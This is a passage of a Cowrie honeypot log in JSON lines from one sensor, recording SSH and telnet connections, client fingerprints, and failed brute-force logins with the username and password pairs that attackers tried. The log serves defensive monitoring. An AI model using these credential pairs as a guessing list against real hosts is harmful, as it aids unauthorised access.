0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:27.063339Z","src_ip":"45.156.87.204","session":"6b6bab02a2b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex","message":"login attempt [alex/alex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:27.318481Z","src_ip":"45.156.87.204","session":"6b6bab02a2b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48216,"dst_ip":"10.17.0.5","dst_port":23,"session":"a06943fbf2b6","protocol":"telnet","message":"New connection: 152.42.224.71:48216 (10.17.0.5:23) [session: a06943fbf2b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:28.254724Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:28.403064Z","src_ip":"45.156.87.204","session":"6b6bab02a2b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.183.70.66","src_port":40982,"dst_ip":"159.203.135.109","dst_port":22,"session":"c423cf0dfb08","protocol":"ssh","message":"New connection: 45.183.70.66:40982 (159.203.135.109:22) [session: c423cf0dfb08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:28.432119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:28.437435Z","src_ip":"45.183.70.66","session":"c423cf0dfb08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:28.556573Z","src_ip":"45.183.70.66","session":"c423cf0dfb08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123!!!","message":"login attempt [root/Abc123!!!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:29.056784Z","src_ip":"45.183.70.66","session":"c423cf0dfb08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":32606,"dst_ip":"10.17.0.5","dst_port":22,"session":"ddd7913d8d54","protocol":"ssh","message":"New connection: 213.209.159.56:32606 (10.17.0.5:22) [session: ddd7913d8d54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:29.385295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:29.394320Z","src_ip":"213.209.159.56","session":"ddd7913d8d54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:29.476500Z","src_ip":"213.209.159.56","session":"ddd7913d8d54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"keyara","password":"keyara","message":"login attempt [keyara/keyara] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:29.875080Z","src_ip":"213.209.159.56","session":"ddd7913d8d54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:30.179347Z","src_ip":"45.183.70.66","session":"c423cf0dfb08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":45526,"dst_ip":"159.203.135.109","dst_port":22,"session":"c85c2821be91","protocol":"ssh","message":"New connection: 45.156.87.204:45526 (159.203.135.109:22) [session: c85c2821be91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:30.515361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:30.538021Z","src_ip":"45.156.87.204","session":"c85c2821be91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:30.607997Z","src_ip":"45.156.87.204","session":"c85c2821be91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elk","password":"123456","message":"login attempt [elk/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:30.921419Z","src_ip":"45.156.87.204","session":"c85c2821be91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"keyara","password":"keyara1","message":"login attempt [keyara/keyara1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:30.960124Z","src_ip":"213.209.159.56","session":"ddd7913d8d54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:32.007116Z","src_ip":"45.156.87.204","session":"c85c2821be91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.18643283843994,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:32.015378Z","src_ip":"152.42.224.71","session":"03963441337d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"keyara","password":"keyara123","message":"login attempt [keyara/keyara123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:32.045232Z","src_ip":"213.209.159.56","session":"ddd7913d8d54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"keyara","password":"keyara1234","message":"login attempt [keyara/keyara1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:33.131122Z","src_ip":"213.209.159.56","session":"ddd7913d8d54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":82.20488715171814,"message":"Connection lost after 82 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:33.966677Z","src_ip":"152.42.224.71","session":"244c0ccd19ad","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"keyara","password":"keyara12345","message":"login attempt [keyara/keyara12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:34.215670Z","src_ip":"213.209.159.56","session":"ddd7913d8d54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":34650,"dst_ip":"159.203.135.109","dst_port":22,"session":"89cc0105f1b0","protocol":"ssh","message":"New connection: 94.26.106.229:34650 (159.203.135.109:22) [session: 89cc0105f1b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:34.220754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:34.224653Z","src_ip":"94.26.106.229","session":"89cc0105f1b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":50590,"dst_ip":"159.203.135.109","dst_port":22,"session":"61a30cf6feb4","protocol":"ssh","message":"New connection: 45.156.87.204:50590 (159.203.135.109:22) [session: 61a30cf6feb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:34.253678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:34.261681Z","src_ip":"45.156.87.204","session":"61a30cf6feb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:34.312597Z","src_ip":"94.26.106.229","session":"89cc0105f1b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:34.344520Z","src_ip":"45.156.87.204","session":"61a30cf6feb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":34078,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f0b94c31828","protocol":"ssh","message":"New connection: 103.98.149.87:34078 (10.17.0.5:22) [session: 0f0b94c31828]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:34.548672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:34.561496Z","src_ip":"103.98.149.87","session":"0f0b94c31828","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"111111","message":"login attempt [guest/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:34.584254Z","src_ip":"94.26.106.229","session":"89cc0105f1b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111","message":"login attempt [root/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:34.590489Z","src_ip":"45.156.87.204","session":"61a30cf6feb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48232,"dst_ip":"10.17.0.5","dst_port":23,"session":"39bb431a5778","protocol":"telnet","message":"New connection: 152.42.224.71:48232 (10.17.0.5:23) [session: 39bb431a5778]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:34.787641Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:34.810560Z","src_ip":"103.98.149.87","session":"0f0b94c31828","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:35.300822Z","src_ip":"213.209.159.56","session":"ddd7913d8d54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:35.674981Z","src_ip":"94.26.106.229","session":"89cc0105f1b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:35.862589Z","src_ip":"45.156.87.204","session":"61a30cf6feb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.229","src_port":34656,"dst_ip":"159.203.135.109","dst_port":22,"session":"74d920297df4","protocol":"ssh","message":"New connection: 94.26.106.229:34656 (159.203.135.109:22) [session: 74d920297df4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:36.408893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:36.413571Z","src_ip":"94.26.106.229","session":"74d920297df4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"9876543210","message":"login attempt [root/9876543210] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:36.475742Z","src_ip":"103.98.149.87","session":"0f0b94c31828","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:36.507247Z","src_ip":"94.26.106.229","session":"74d920297df4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456","message":"login attempt [ftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:36.772295Z","src_ip":"94.26.106.229","session":"74d920297df4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.78.78","src_port":40024,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4cd1ad9f6b5","protocol":"ssh","message":"New connection: 42.200.78.78:40024 (159.203.135.109:22) [session: c4cd1ad9f6b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:37.390209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:37.395894Z","src_ip":"42.200.78.78","session":"c4cd1ad9f6b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59820,"dst_ip":"10.17.0.5","dst_port":23,"session":"47c4187dc9cc","protocol":"telnet","message":"New connection: 152.42.224.71:59820 (10.17.0.5:23) [session: 47c4187dc9cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:02:37.552517Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rs